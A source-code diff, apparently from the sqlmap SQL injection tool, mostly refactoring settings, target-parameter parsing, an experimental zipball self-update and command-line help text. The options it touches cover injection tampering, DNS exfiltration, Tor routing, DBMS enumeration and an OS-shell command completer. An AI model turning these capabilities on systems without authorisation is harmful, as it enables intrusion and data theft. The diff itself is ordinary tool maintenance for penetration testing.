 FIREBIRD_SYSTEM_DBS = ("RDB$BACKUP_HISTORY", "RDB$CHARACTER_SETS", "RDB$CHECK_CONSTRAINTS", "RDB$COLLATIONS", "RDB$DATABASE", "RDB$DEPENDENCIES", "RDB$EXCEPTIONS", "RDB$FIELDS", "RDB$FIELD_DIMENSIONS", " RDB$FILES", "RDB$FILTERS", "RDB$FORMATS", "RDB$FUNCTIONS", "RDB$FUNCTION_ARGUMENTS", "RDB$GENERATORS", "RDB$INDEX_SEGMENTS", "RDB$INDICES", "RDB$LOG_FILES", "RDB$PAGES", "RDB$PROCEDURES", "RDB$PROCEDURE_PARAMETERS", "RDB$REF_CONSTRAINTS", "RDB$RELATIONS", "RDB$RELATION_CONSTRAINTS", "RDB$RELATION_FIELDS", "RDB$ROLES", "RDB$SECURITY_CLASSES", "RDB$TRANSACTIONS", "RDB$TRIGGERS", "RDB$TRIGGER_MESSAGES", "RDB$TYPES", "RDB$USER_PRIVILEGES", "RDB$VIEW_RELATIONS")
@@ -299,6 +300,10 @@ BASIC_HELP_ITEMS = (
     "wizard",
 )
 
+# Tags used for value replacements inside shell scripts
+SHELL_WRITABLE_DIR_TAG = "%WRITABLE_DIR%"
+SHELL_RUNCMD_EXE_TAG = "%RUNCMD_EXE%"
+
 # String representation for NULL value
 NULL = "NULL"
 
@@ -312,12 +317,12 @@ CURRENT_DB = "CD"
 SESSION_SQLITE_FILE = "session.sqlite"
 
 # Regular expressions used for finding file paths in error messages
-FILE_PATH_REGEXES = (r"<b>(?P<result>[^<>]+?)</b> on line \d+", r"(?P<result>[^<>'\"]+?)['\"]? on line \d+", r"(?:[>(\[\s])(?P<result>[A-Za-z]:[\\/][\w. \\/-]*)", r"(?:[>(\[\s])(?P<result>/\w[/\w.~-]+)", r"href=['\"]file://(?P<result>/[^'\"]+)")
+FILE_PATH_REGEXES = (r"<b>(?P<result>[^<>]+?)</b> on line \d+", r"in (?P<result>[^<>'\"]+?)['\"]? on line \d+", r"(?:[>(\[\s])(?P<result>[A-Za-z]:[\\/][\w. \\/-]*)", r"(?:[>(\[\s])(?P<result>/\w[/\w.~-]+)", r"href=['\"]file://(?P<result>/[^'\"]+)")
 
 # Regular expressions used for parsing error messages (--parse-errors)
 ERROR_PARSING_REGEXES = (
     r"<b>[^<]*(fatal|error|warning|exception)[^<]*</b>:?\s*(?P<result>.+?)<br\s*/?\s*>",
-    r"(?m)^(fatal|error|warning|exception):?\s*(?P<result>[^\n]+?)$",
+    r"(?m)^\s*(fatal|error|warning|exception):?\s*(?P<result>[^\n]+?)$",
     r"(?P<result>[^\n>]*SQL Syntax[^\n<]+)",
     r"<li>Error Type:<br>(?P<result>.+?)</li>",
     r"CDbCommand (?P<result>[^<>\n]*SQL[^<>\n]+)",
@@ -362,7 +367,7 @@ URI_INJECTABLE_REGEX = r"//[^/]*/([^\.*?]+)\Z"
 SENSITIVE_DATA_REGEX = "(\s|=)(?P<result>[^\s=]*%s[^\s]*)\s"
 
 # Options to explicitly mask in anonymous (unhandled exception) reports (along with anything carrying the <hostname> inside)
-SENSITIVE_OPTIONS = ("hostname", "data", "dnsDomain", "googleDork", "authCred", "proxyCred", "tbl", "db", "col", "user", "cookie", "proxy", "rFile", "wFile", "dFile", "testParameter", "authCred")
+SENSITIVE_OPTIONS = ("hostname", "answers", "data", "dnsDomain", "googleDork", "authCred", "proxyCred", "tbl", "db", "col", "user", "cookie", "proxy", "rFile", "wFile", "dFile", "testParameter", "authCred")
 
 # Maximum number of threads (avoiding connection issues and/or DoS)
 MAX_NUMBER_OF_THREADS = 10
@@ -424,6 +429,9 @@ HASH_MOD_ITEM_DISPLAY = 11
 # Maximum integer value
 MAX_INT = sys.maxint
 
+# Replacement for unsafe characters in dump table filenames
+UNSAFE_DUMP_FILEPATH_REPLACEMENT = '_'
+
 # Options that need to be restored in multiple targets run mode
 RESTORE_MERGED_OPTIONS = ("col", "db", "dnsDomain", "privEsc", "tbl", "regexp", "string", "textOnly", "threads", "timeSec", "tmpPath", "uChar", "user")
 
@@ -531,7 +539,7 @@ ROTATING_CHARS = ('\\', '|', '|', '/', '-')
 # Approximate chunk length (in bytes) used by BigArray objects (only last chunk and cached one are held in memory)
 BIGARRAY_CHUNK_SIZE = 1024 * 1024
 
-# Compress (zlib) level used for storing BigArray chunks to disk (0-9)
+# Compress level used for storing BigArray chunks to disk (0-9)
 BIGARRAY_COMPRESS_LEVEL = 9
 
 # Maximum number of socket pre-connects
@@ -632,7 +640,7 @@ NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH = 6
 MAX_CONNECTION_CHUNK_SIZE = 10 * 1024 * 1024
 
 # Maximum response total page size (trimmed if larger)
-MAX_CONNECTION_TOTAL_SIZE = 50 * 1024 * 1024
+MAX_CONNECTION_TOTAL_SIZE = 100 * 1024 * 1024
 
 # For preventing MemoryError exceptions (caused when using large sequences in difflib.SequenceMatcher)
 MAX_DIFFLIB_SEQUENCE_LENGTH = 10 * 1024 * 1024

lib/core/shell.py

@@ -104,20 +104,20 @@ def autoCompletion(completion=None, os=None, commands=None):
         if os == OS.WINDOWS:
             # Reference: http://en.wikipedia.org/wiki/List_of_DOS_commands
             completer = CompleterNG({
-                                      "copy": None, "del": None, "dir": None,
+                "copy": None, "del": None, "dir": None,
-                                      "echo": None, "md": None, "mem": None,
+                "echo": None, "md": None, "mem": None,
-                                      "move": None, "net": None, "netstat -na": None,
+                "move": None, "net": None, "netstat -na": None,
-                                      "ver": None, "xcopy": None, "whoami": None,
+                "ver": None, "xcopy": None, "whoami": None,
-                                    })
+            })
 
         else:
             # Reference: http://en.wikipedia.org/wiki/List_of_Unix_commands
             completer = CompleterNG({
-                                      "cp": None, "rm": None, "ls": None,
+                "cp": None, "rm": None, "ls": None,
-                                      "echo": None, "mkdir": None, "free": None,
+                "echo": None, "mkdir": None, "free": None,
-                                      "mv": None, "ifconfig": None, "netstat -natu": None,
+                "mv": None, "ifconfig": None, "netstat -natu": None,
-                                      "pwd": None, "uname": None, "id": None,
+                "pwd": None, "uname": None, "id": None,
-                                    })
+            })
 
         readline.set_completer(completer.complete)
         readline.parse_and_bind("tab: complete")

lib/core/subprocessng.py

@@ -8,7 +8,6 @@ See the file 'LICENSE' for copying permission
 import errno
 import os
 import subprocess
-import sys
 import time
 
 from lib.core.settings import IS_WIN
@@ -24,11 +23,6 @@ else:
     import select
     import fcntl
 
-    if (sys.hexversion >> 16) >= 0x202:
-        FCNTL = fcntl
-    else:
-        import FCNTL
-
 def blockingReadFromFD(fd):
     # Quick twist around original Twisted function
     # Blocking read from a non-blocking file descriptor

lib/core/target.py

@@ -142,7 +142,7 @@ def _setRequestParams():
                 if not (kb.processUserMarks and kb.customInjectionMark in conf.data):
                     conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
                     conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER)
-                    conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*"[^"]*)"', functools.partial(process, repl=r'\g<1>%s"' % kb.customInjectionMark), conf.data)
+                    conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*".+?)"(?<!\\")', functools.partial(process, repl=r'\g<1>%s"' % kb.customInjectionMark), conf.data)
                     conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*)(-?\d[\d\.]*)\b', functools.partial(process, repl=r'\g<1>\g<3>%s' % kb.customInjectionMark), conf.data)
                     conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*)((true|false|null))\b', functools.partial(process, repl=r'\g<1>\g<3>%s' % kb.customInjectionMark), conf.data)
                     match = re.search(r'(?P<name>[^"]+)"\s*:\s*\[([^\]]+)\]', conf.data)
@@ -230,9 +230,9 @@ def _setRequestParams():
             if kb.customInjectionMark not in conf.data:  # in case that no usable parameter values has been found
                 conf.parameters[PLACE.POST] = conf.data
 
-    kb.processUserMarks = True if (kb.postHint and kb.customInjectionMark in conf.data) else kb.processUserMarks
+    kb.processUserMarks = True if (kb.postHint and kb.customInjectionMark in (conf.data or "")) else kb.processUserMarks
 
-    if re.search(URI_INJECTABLE_REGEX, conf.url, re.I) and not any(place in conf.parameters for place in (PLACE.GET, PLACE.POST)) and not kb.postHint and not kb.customInjectionMark in (conf.data or "") and conf.url.startswith("http"):
+    if re.search(URI_INJECTABLE_REGEX, conf.url, re.I) and not any(place in conf.parameters for place in (PLACE.GET, PLACE.POST)) and not kb.postHint and kb.customInjectionMark not in (conf.data or "") and conf.url.startswith("http"):
         warnMsg = "you've provided target URL without any GET "
         warnMsg += "parameters (e.g. 'http://www.site.com/article.php?id=1') "
         warnMsg += "and without providing any POST parameters "
@@ -377,7 +377,7 @@ def _setRequestParams():
                 if condition:
                     conf.parameters[PLACE.CUSTOM_HEADER] = str(conf.httpHeaders)
                     conf.paramDict[PLACE.CUSTOM_HEADER] = {httpHeader: "%s,%s%s" % (httpHeader, headerValue, kb.customInjectionMark)}
-                    conf.httpHeaders = [(header, value.replace(kb.customInjectionMark, "")) for header, value in conf.httpHeaders]
+                    conf.httpHeaders = [(_[0], _[1].replace(kb.customInjectionMark, "")) for _ in conf.httpHeaders]
                     testableParameters = True
 
     if not conf.parameters:
@@ -391,7 +391,7 @@ def _setRequestParams():
         raise SqlmapGenericException(errMsg)
 
     if conf.csrfToken:
-        if not any(conf.csrfToken in _ for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}))) and not re.search(r"\b%s\b" % re.escape(conf.csrfToken), conf.data or "") and not conf.csrfToken in set(_[0].lower() for _ in conf.httpHeaders) and not conf.csrfToken in conf.paramDict.get(PLACE.COOKIE, {}):
+        if not any(conf.csrfToken in _ for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}))) and not re.search(r"\b%s\b" % re.escape(conf.csrfToken), conf.data or "") and conf.csrfToken not in set(_[0].lower() for _ in conf.httpHeaders) and conf.csrfToken not in conf.paramDict.get(PLACE.COOKIE, {}):
             errMsg = "anti-CSRF token parameter '%s' not " % conf.csrfToken
             errMsg += "found in provided GET, POST, Cookie or header values"
             raise SqlmapGenericException(errMsg)
@@ -449,13 +449,10 @@ def _resumeHashDBValues():
     conf.tmpPath = conf.tmpPath or hashDBRetrieve(HASHDB_KEYS.CONF_TMP_PATH)
 
     for injection in hashDBRetrieve(HASHDB_KEYS.KB_INJECTIONS, True) or []:
-        if isinstance(injection, InjectionDict) and injection.place in conf.paramDict and \
+        if isinstance(injection, InjectionDict) and injection.place in conf.paramDict and injection.parameter in conf.paramDict[injection.place]:
-            injection.parameter in conf.paramDict[injection.place]:
-
             if not conf.tech or intersect(conf.tech, injection.data.keys()):
                 if intersect(conf.tech, injection.data.keys()):
                     injection.data = dict(_ for _ in injection.data.items() if _[0] in conf.tech)
-
                 if injection not in kb.injections:
                     kb.injections.append(injection)
 
@@ -581,7 +578,7 @@ def _createFilesDir():
 
     if not os.path.isdir(conf.filePath):
         try:
-            os.makedirs(conf.filePath, 0755)
+            os.makedirs(conf.filePath)
         except OSError, ex:
             tempDir = tempfile.mkdtemp(prefix="sqlmapfiles")
             warnMsg = "unable to create files directory "
@@ -603,7 +600,7 @@ def _createDumpDir():
 
     if not os.path.isdir(conf.dumpPath):
         try:
-            os.makedirs(conf.dumpPath, 0755)
+            os.makedirs(conf.dumpPath)
         except OSError, ex:
             tempDir = tempfile.mkdtemp(prefix="sqlmapdump")
             warnMsg = "unable to create dump directory "
@@ -624,7 +621,7 @@ def _createTargetDirs():
 
     try:
         if not os.path.isdir(paths.SQLMAP_OUTPUT_PATH):
-            os.makedirs(paths.SQLMAP_OUTPUT_PATH, 0755)
+            os.makedirs(paths.SQLMAP_OUTPUT_PATH)
 
         _ = os.path.join(paths.SQLMAP_OUTPUT_PATH, randomStr())
         open(_, "w+b").close()
@@ -654,7 +651,7 @@ def _createTargetDirs():
 
     try:
         if not os.path.isdir(conf.outputPath):
-            os.makedirs(conf.outputPath, 0755)
+            os.makedirs(conf.outputPath)
     except (OSError, IOError, TypeError), ex:
         try:
             tempDir = tempfile.mkdtemp(prefix="sqlmapoutput")

lib/core/update.py

@@ -5,21 +5,28 @@ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
-import locale
+import glob
 import os
 import re
+import shutil
 import subprocess
+import sys
 import time
+import urllib
+import zipfile
 
 from lib.core.common import dataToStdout
 from lib.core.common import getSafeExString
 from lib.core.common import pollProcess
+from lib.core.common import readInput
 from lib.core.data import conf
 from lib.core.data import logger
 from lib.core.data import paths
 from lib.core.revision import getRevisionNumber
 from lib.core.settings import GIT_REPOSITORY
 from lib.core.settings import IS_WIN
+from lib.core.settings import ZIPBALL_PAGE
+from lib.core.settings import UNICODE_ENCODING
 
 def update():
     if not conf.updateAll:
@@ -28,11 +35,56 @@ def update():
     success = False
 
     if not os.path.exists(os.path.join(paths.SQLMAP_ROOT_PATH, ".git")):
-        errMsg = "not a git repository. Please checkout the 'sqlmapproject/sqlmap' repository "
+        warnMsg = "not a git repository. It is recommended to clone the 'sqlmapproject/sqlmap' repository "
-        errMsg += "from GitHub (e.g. 'git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap')"
+        warnMsg += "from GitHub (e.g. 'git clone --depth 1 %s sqlmap')" % GIT_REPOSITORY
-        logger.error(errMsg)
+        logger.warn(warnMsg)
+
+        message = "do you want to try to fetch the latest 'zipball' from repository and extract it (experimental) ? [y/N]"
+        if readInput(message, default='N', boolean=True):
+            directory = os.path.abspath(paths.SQLMAP_ROOT_PATH)
+
+            try:
+                open(os.path.join(directory, "sqlmap.py"), "w+b")
+            except Exception, ex:
+                errMsg = "unable to update content of directory '%s' ('%s')" % (directory, getSafeExString(ex))
+                logger.error(errMsg)
+            else:
+                for wildcard in ('*', ".*"):
+                    for _ in glob.glob(os.path.join(directory, wildcard)):
+                        try:
+                            if os.path.isdir(_):
+                                shutil.rmtree(_)
+                            else:
+                                os.remove(_)
+                        except:
+                            pass
+
+                if glob.glob(os.path.join(directory, '*')):
+                    errMsg = "unable to clear the content of directory '%s'" % directory
+                    logger.error(errMsg)
+                else:
+                    try:
+                        archive = urllib.urlretrieve(ZIPBALL_PAGE)[0]
+
+                        with zipfile.ZipFile(archive) as f:
+                            for info in f.infolist():
+                                info.filename = re.sub(r"\Asqlmap[^/]+", "", info.filename)
+                                if info.filename:
+                                    f.extract(info, directory)
+
+                        filepath = os.path.join(paths.SQLMAP_ROOT_PATH, "lib", "core", "settings.py")
+                        if os.path.isfile(filepath):
+                            with open(filepath, "rb") as f:
+                                version = re.search(r"(?m)^VERSION\s*=\s*['\"]([^'\"]+)", f.read()).group(1)
+                                logger.info("updated to the latest version '%s#dev'" % version)
+                                success = True
+                    except Exception, ex:
+                        logger.error("update could not be completed ('%s')" % getSafeExString(ex))
+                    else:
+                        if not success:
+                            logger.error("update could not be completed")
     else:
-        infoMsg = "updating sqlmap to the latest development version from the "
+        infoMsg = "updating sqlmap to the latest development revision from the "
         infoMsg += "GitHub repository"
         logger.info(infoMsg)
 
@@ -42,7 +94,7 @@ def update():
         dataToStdout("\r[%s] [INFO] update in progress " % time.strftime("%X"))
 
         try:
-            process = subprocess.Popen("git checkout . && git pull %s HEAD" % GIT_REPOSITORY, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=paths.SQLMAP_ROOT_PATH.encode(locale.getpreferredencoding()))  # Reference: http://blog.stastnarodina.com/honza-en/spot/python-unicodeencodeerror/
+            process = subprocess.Popen("git checkout . && git pull %s HEAD" % GIT_REPOSITORY, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=paths.SQLMAP_ROOT_PATH.encode(sys.getfilesystemencoding() or UNICODE_ENCODING))
             pollProcess(process, True)
             stdout, stderr = process.communicate()
             success = not process.returncode
@@ -55,7 +107,7 @@ def update():
         else:
             if "Not a git repository" in stderr:
                 errMsg = "not a valid git repository. Please checkout the 'sqlmapproject/sqlmap' repository "
-                errMsg += "from GitHub (e.g. 'git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap')"
+                errMsg += "from GitHub (e.g. 'git clone --depth 1 %s sqlmap')" % GIT_REPOSITORY
                 logger.error(errMsg)
             else:
                 logger.error("update could not be completed ('%s')" % re.sub(r"\W+", " ", stderr).strip())
@@ -68,7 +120,7 @@ def update():
             infoMsg += "download the latest snapshot from "
             infoMsg += "https://github.com/sqlmapproject/sqlmap/downloads"
         else:
-            infoMsg = "for Linux platform it's required "
+            infoMsg = "for Linux platform it's recommended "
             infoMsg += "to install a standard 'git' package (e.g.: 'sudo apt-get install git')"
 
         logger.info(infoMsg)

lib/core/wordlist.py

@@ -47,7 +47,7 @@ class Wordlist(object):
                     errMsg = "something appears to be wrong with "
                     errMsg += "the file '%s' ('%s'). Please make " % (self.current, getSafeExString(ex))
                     errMsg += "sure that you haven't made any changes to it"
-                    raise SqlmapInstallationException, errMsg
+                    raise SqlmapInstallationException(errMsg)
                 if len(_.namelist()) == 0:
                     errMsg = "no file(s) inside '%s'" % self.current
                     raise SqlmapDataException(errMsg)
@@ -73,7 +73,7 @@ class Wordlist(object):
                 errMsg = "something appears to be wrong with "
                 errMsg += "the file '%s' ('%s'). Please make " % (self.current, getSafeExString(ex))
                 errMsg += "sure that you haven't made any changes to it"
-                raise SqlmapInstallationException, errMsg
+                raise SqlmapInstallationException(errMsg)
             except StopIteration:
                 self.adjust()
                 retVal = self.iter.next().rstrip()

lib/parse/cmdline.py

@@ -50,9 +50,7 @@ def cmdLineParser(argv=None):
     # Reference: https://stackoverflow.com/a/4012683 (Note: previously used "...sys.getfilesystemencoding() or UNICODE_ENCODING")
     _ = getUnicode(os.path.basename(argv[0]), encoding=sys.stdin.encoding)
 
-    usage = "%s%s [options]" % ("python " if not IS_WIN else "", \
+    usage = "%s%s [options]" % ("python " if not IS_WIN else "", "\"%s\"" % _ if " " in _ else _)
-            "\"%s\"" % _ if " " in _ else _)
-
     parser = OptionParser(usage=usage)
 
     try:
@@ -115,15 +113,13 @@ def cmdLineParser(argv=None):
         request.add_option("--load-cookies", dest="loadCookies",
                            help="File containing cookies in Netscape/wget format")
 
-        request.add_option("--drop-set-cookie", dest="dropSetCookie",
+        request.add_option("--drop-set-cookie", dest="dropSetCookie", action="store_true",
-                           action="store_true",
                            help="Ignore Set-Cookie header from response")
 
         request.add_option("--user-agent", dest="agent",
                            help="HTTP User-Agent header value")
 
-        request.add_option("--random-agent", dest="randomAgent",
+        request.add_option("--random-agent", dest="randomAgent", action="store_true",
-                           action="store_true",
                            help="Use randomly selected HTTP User-Agent header value")
 
         request.add_option("--host", dest="host",
@@ -139,62 +135,55 @@ def cmdLineParser(argv=None):
                            help="Extra headers (e.g. \"Accept-Language: fr\\nETag: 123\")")
 
         request.add_option("--auth-type", dest="authType",
-                           help="HTTP authentication type "
+                           help="HTTP authentication type (Basic, Digest, NTLM or PKI)")
-                                "(Basic, Digest, NTLM or PKI)")
 
         request.add_option("--auth-cred", dest="authCred",
-                           help="HTTP authentication credentials "
+                           help="HTTP authentication credentials (name:password)")
-                                "(name:password)")
 
         request.add_option("--auth-file", dest="authFile",
                            help="HTTP authentication PEM cert/private key file")
 
         request.add_option("--ignore-code", dest="ignoreCode", type="int",
-                          help="Ignore HTTP error code (e.g. 401)")
+                           help="Ignore HTTP error code (e.g. 401)")
 
         request.add_option("--ignore-proxy", dest="ignoreProxy", action="store_true",
                            help="Ignore system default proxy settings")
 
         request.add_option("--ignore-redirects", dest="ignoreRedirects", action="store_true",
-                          help="Ignore redirection attempts")
+                           help="Ignore redirection attempts")
 
         request.add_option("--ignore-timeouts", dest="ignoreTimeouts", action="store_true",
-                          help="Ignore connection timeouts")
+                           help="Ignore connection timeouts")
 
         request.add_option("--proxy", dest="proxy",
                            help="Use a proxy to connect to the target URL")
 
         request.add_option("--proxy-cred", dest="proxyCred",
-                           help="Proxy authentication credentials "
+                           help="Proxy authentication credentials (name:password)")
-                                "(name:password)")
 
         request.add_option("--proxy-file", dest="proxyFile",
                            help="Load proxy list from a file")
 
-        request.add_option("--tor", dest="tor",
+        request.add_option("--tor", dest="tor", action="store_true",
-                                  action="store_true",
+                           help="Use Tor anonymity network")
-                                  help="Use Tor anonymity network")
 
         request.add_option("--tor-port", dest="torPort",
-                                  help="Set Tor proxy port other than default")
+                           help="Set Tor proxy port other than default")
 
         request.add_option("--tor-type", dest="torType",
-                                  help="Set Tor proxy type (HTTP, SOCKS4 or SOCKS5 (default))")
+                           help="Set Tor proxy type (HTTP, SOCKS4 or SOCKS5 (default))")
 
-        request.add_option("--check-tor", dest="checkTor",
+        request.add_option("--check-tor", dest="checkTor", action="store_true",
-                                  action="store_true",
+                           help="Check to see if Tor is used properly")
-                                  help="Check to see if Tor is used properly")
 
         request.add_option("--delay", dest="delay", type="float",
                            help="Delay in seconds between each HTTP request")
 
         request.add_option("--timeout", dest="timeout", type="float",
-                           help="Seconds to wait before timeout connection "
+                           help="Seconds to wait before timeout connection (default %d)" % defaults.timeout)
-                                "(default %d)" % defaults.timeout)
 
         request.add_option("--retries", dest="retries", type="int",
-                           help="Retries when the connection timeouts "
+                           help="Retries when the connection timeouts (default %d)" % defaults.retries)
-                                "(default %d)" % defaults.retries)
 
         request.add_option("--randomize", dest="rParam",
                            help="Randomly change value for given parameter(s)")
@@ -211,8 +200,7 @@ def cmdLineParser(argv=None):
         request.add_option("--safe-freq", dest="safeFreq", type="int",
                            help="Test requests between two visits to a given safe URL")
 
-        request.add_option("--skip-urlencode", dest="skipUrlEncode",
+        request.add_option("--skip-urlencode", dest="skipUrlEncode", action="store_true",
-                           action="store_true",
                            help="Skip URL encoding of payload data")
 
         request.add_option("--csrf-token", dest="csrfToken",
@@ -221,44 +209,36 @@ def cmdLineParser(argv=None):
         request.add_option("--csrf-url", dest="csrfUrl",
                            help="URL address to visit to extract anti-CSRF token")
 
-        request.add_option("--force-ssl", dest="forceSSL",
+        request.add_option("--force-ssl", dest="forceSSL", action="store_true",
-                           action="store_true",
                            help="Force usage of SSL/HTTPS")
 
-        request.add_option("--hpp", dest="hpp",
+        request.add_option("--hpp", dest="hpp", action="store_true",
-                                  action="store_true",
+                           help="Use HTTP parameter pollution method")
-                                  help="Use HTTP parameter pollution method")
 
         request.add_option("--eval", dest="evalCode",
                            help="Evaluate provided Python code before the request (e.g. \"import hashlib;id2=hashlib.md5(id).hexdigest()\")")
 
         # Optimization options
-        optimization = OptionGroup(parser, "Optimization", "These "
+        optimization = OptionGroup(parser, "Optimization", "These options can be used to optimize the performance of sqlmap")
-                               "options can be used to optimize the "
-                               "performance of sqlmap")
 
-        optimization.add_option("-o", dest="optimize",
+        optimization.add_option("-o", dest="optimize", action="store_true",
-                                 action="store_true",
+                                help="Turn on all optimization switches")
-                                 help="Turn on all optimization switches")
 
         optimization.add_option("--predict-output", dest="predictOutput", action="store_true",
-                          help="Predict common queries output")
+                                help="Predict common queries output")
 
         optimization.add_option("--keep-alive", dest="keepAlive", action="store_true",
-                           help="Use persistent HTTP(s) connections")
+                                help="Use persistent HTTP(s) connections")
 
         optimization.add_option("--null-connection", dest="nullConnection", action="store_true",
-                          help="Retrieve page length without actual HTTP response body")
+                                help="Retrieve page length without actual HTTP response body")
 
         optimization.add_option("--threads", dest="threads", type="int",
-                           help="Max number of concurrent HTTP(s) "
+                                help="Max number of concurrent HTTP(s) "
                                 "requests (default %d)" % defaults.threads)
 
         # Injection options
-        injection = OptionGroup(parser, "Injection", "These options can be "
+        injection = OptionGroup(parser, "Injection", "These options can be used to specify which parameters to test for, provide custom injection payloads and optional tampering scripts")
-                                "used to specify which parameters to test "
-                                "for, provide custom injection payloads and "
-                                "optional tampering scripts")
 
         injection.add_option("-p", dest="testParameter",
                              help="Testable parameter(s)")
@@ -270,36 +250,30 @@ def cmdLineParser(argv=None):
                              help="Skip testing parameters that not appear to be dynamic")
 
         injection.add_option("--param-exclude", dest="paramExclude",
-                           help="Regexp to exclude parameters from testing (e.g. \"ses\")")
+                             help="Regexp to exclude parameters from testing (e.g. \"ses\")")
 
         injection.add_option("--dbms", dest="dbms",
                              help="Force back-end DBMS to this value")
 
         injection.add_option("--dbms-cred", dest="dbmsCred",
-                            help="DBMS authentication credentials (user:password)")
+                             help="DBMS authentication credentials (user:password)")
 
         injection.add_option("--os", dest="os",
-                             help="Force back-end DBMS operating system "
+                             help="Force back-end DBMS operating system to this value")
-                                  "to this value")
 
-        injection.add_option("--invalid-bignum", dest="invalidBignum",
+        injection.add_option("--invalid-bignum", dest="invalidBignum", action="store_true",
-                             action="store_true",
                              help="Use big numbers for invalidating values")
 
-        injection.add_option("--invalid-logical", dest="invalidLogical",
+        injection.add_option("--invalid-logical", dest="invalidLogical", action="store_true",
-                             action="store_true",
                              help="Use logical operations for invalidating values")
 
-        injection.add_option("--invalid-string", dest="invalidString",
+        injection.add_option("--invalid-string", dest="invalidString", action="store_true",
-                             action="store_true",
                              help="Use random strings for invalidating values")
 
-        injection.add_option("--no-cast", dest="noCast",
+        injection.add_option("--no-cast", dest="noCast", action="store_true",
-                             action="store_true",
                              help="Turn off payload casting mechanism")
 
-        injection.add_option("--no-escape", dest="noEscape",
+        injection.add_option("--no-escape", dest="noEscape", action="store_true",
-                             action="store_true",
                              help="Turn off string escaping mechanism")
 
         injection.add_option("--prefix", dest="prefix",
@@ -312,54 +286,40 @@ def cmdLineParser(argv=None):
                              help="Use given script(s) for tampering injection data")
 
         # Detection options
-        detection = OptionGroup(parser, "Detection", "These options can be "
+        detection = OptionGroup(parser, "Detection", "These options can be used to customize the detection phase")
-                                "used to customize the detection phase")
 
         detection.add_option("--level", dest="level", type="int",
-                             help="Level of tests to perform (1-5, "
+                             help="Level of tests to perform (1-5, default %d)" % defaults.level)
-                                  "default %d)" % defaults.level)
 
         detection.add_option("--risk", dest="risk", type="int",
-                             help="Risk of tests to perform (1-3, "
+                             help="Risk of tests to perform (1-3, default %d)" % defaults.risk)
-                                  "default %d)" % defaults.risk)
 
         detection.add_option("--string", dest="string",
-                             help="String to match when "
+                             help="String to match when query is evaluated to True")
-                                  "query is evaluated to True")
 
         detection.add_option("--not-string", dest="notString",
-                             help="String to match when "
+                             help="String to match when query is evaluated to False")
-                                  "query is evaluated to False")
 
         detection.add_option("--regexp", dest="regexp",
-                             help="Regexp to match when "
+                             help="Regexp to match when query is evaluated to True")
-                                  "query is evaluated to True")
 
         detection.add_option("--code", dest="code", type="int",
-                             help="HTTP code to match when "
+                             help="HTTP code to match when query is evaluated to True")
-                                  "query is evaluated to True")
 
-        detection.add_option("--text-only", dest="textOnly",
+        detection.add_option("--text-only", dest="textOnly", action="store_true",
-                             action="store_true",
                              help="Compare pages based only on the textual content")
 
-        detection.add_option("--titles", dest="titles",
+        detection.add_option("--titles", dest="titles", action="store_true",
-                             action="store_true",
                              help="Compare pages based only on their titles")
 
         # Techniques options
-        techniques = OptionGroup(parser, "Techniques", "These options can be "
+        techniques = OptionGroup(parser, "Techniques", "These options can be used to tweak testing of specific SQL injection techniques")
-                                 "used to tweak testing of specific SQL "
-                                 "injection techniques")
 
         techniques.add_option("--technique", dest="tech",
-                              help="SQL injection techniques to use "
+                              help="SQL injection techniques to use (default \"%s\")" % defaults.tech)
-                                   "(default \"%s\")" % defaults.tech)
 
-        techniques.add_option("--time-sec", dest="timeSec",
+        techniques.add_option("--time-sec", dest="timeSec", type="int",
-                              type="int",
+                              help="Seconds to delay the DBMS response (default %d)" % defaults.timeSec)
-                              help="Seconds to delay the DBMS response "
-                                   "(default %d)" % defaults.timeSec)
 
         techniques.add_option("--union-cols", dest="uCols",
                               help="Range of columns to test for UNION query SQL injection")
@@ -374,58 +334,45 @@ def cmdLineParser(argv=None):
                               help="Domain name used for DNS exfiltration attack")
 
         techniques.add_option("--second-order", dest="secondOrder",
-                             help="Resulting page URL searched for second-order "
+                              help="Resulting page URL searched for second-order response")
-                                  "response")
 
         # Fingerprint options
         fingerprint = OptionGroup(parser, "Fingerprint")
 
-        fingerprint.add_option("-f", "--fingerprint", dest="extensiveFp",
+        fingerprint.add_option("-f", "--fingerprint", dest="extensiveFp", action="store_true",
-                               action="store_true",
                                help="Perform an extensive DBMS version fingerprint")
 
         # Enumeration options
-        enumeration = OptionGroup(parser, "Enumeration", "These options can "
+        enumeration = OptionGroup(parser, "Enumeration", "These options can be used to enumerate the back-end database management system information, structure and data contained in the tables. Moreover you can run your own SQL statements")
-                                  "be used to enumerate the back-end database "
-                                  "management system information, structure "
-                                  "and data contained in the tables. Moreover "
-                                  "you can run your own SQL statements")
 
-        enumeration.add_option("-a", "--all", dest="getAll",
+        enumeration.add_option("-a", "--all", dest="getAll", action="store_true",
-                               action="store_true", help="Retrieve everything")
+                               help="Retrieve everything")
 
-        enumeration.add_option("-b", "--banner", dest="getBanner",
+        enumeration.add_option("-b", "--banner", dest="getBanner", action="store_true",
-                               action="store_true", help="Retrieve DBMS banner")
+                               help="Retrieve DBMS banner")
 
-        enumeration.add_option("--current-user", dest="getCurrentUser",
+        enumeration.add_option("--current-user", dest="getCurrentUser", action="store_true",
-                               action="store_true",
                                help="Retrieve DBMS current user")
 
-        enumeration.add_option("--current-db", dest="getCurrentDb",
+        enumeration.add_option("--current-db", dest="getCurrentDb", action="store_true",
-                               action="store_true",
                                help="Retrieve DBMS current database")
 
-        enumeration.add_option("--hostname", dest="getHostname",
+        enumeration.add_option("--hostname", dest="getHostname", action="store_true",
-                               action="store_true",
                                help="Retrieve DBMS server hostname")
 
-        enumeration.add_option("--is-dba", dest="isDba",
+        enumeration.add_option("--is-dba", dest="isDba", action="store_true",
-                               action="store_true",
                                help="Detect if the DBMS current user is DBA")
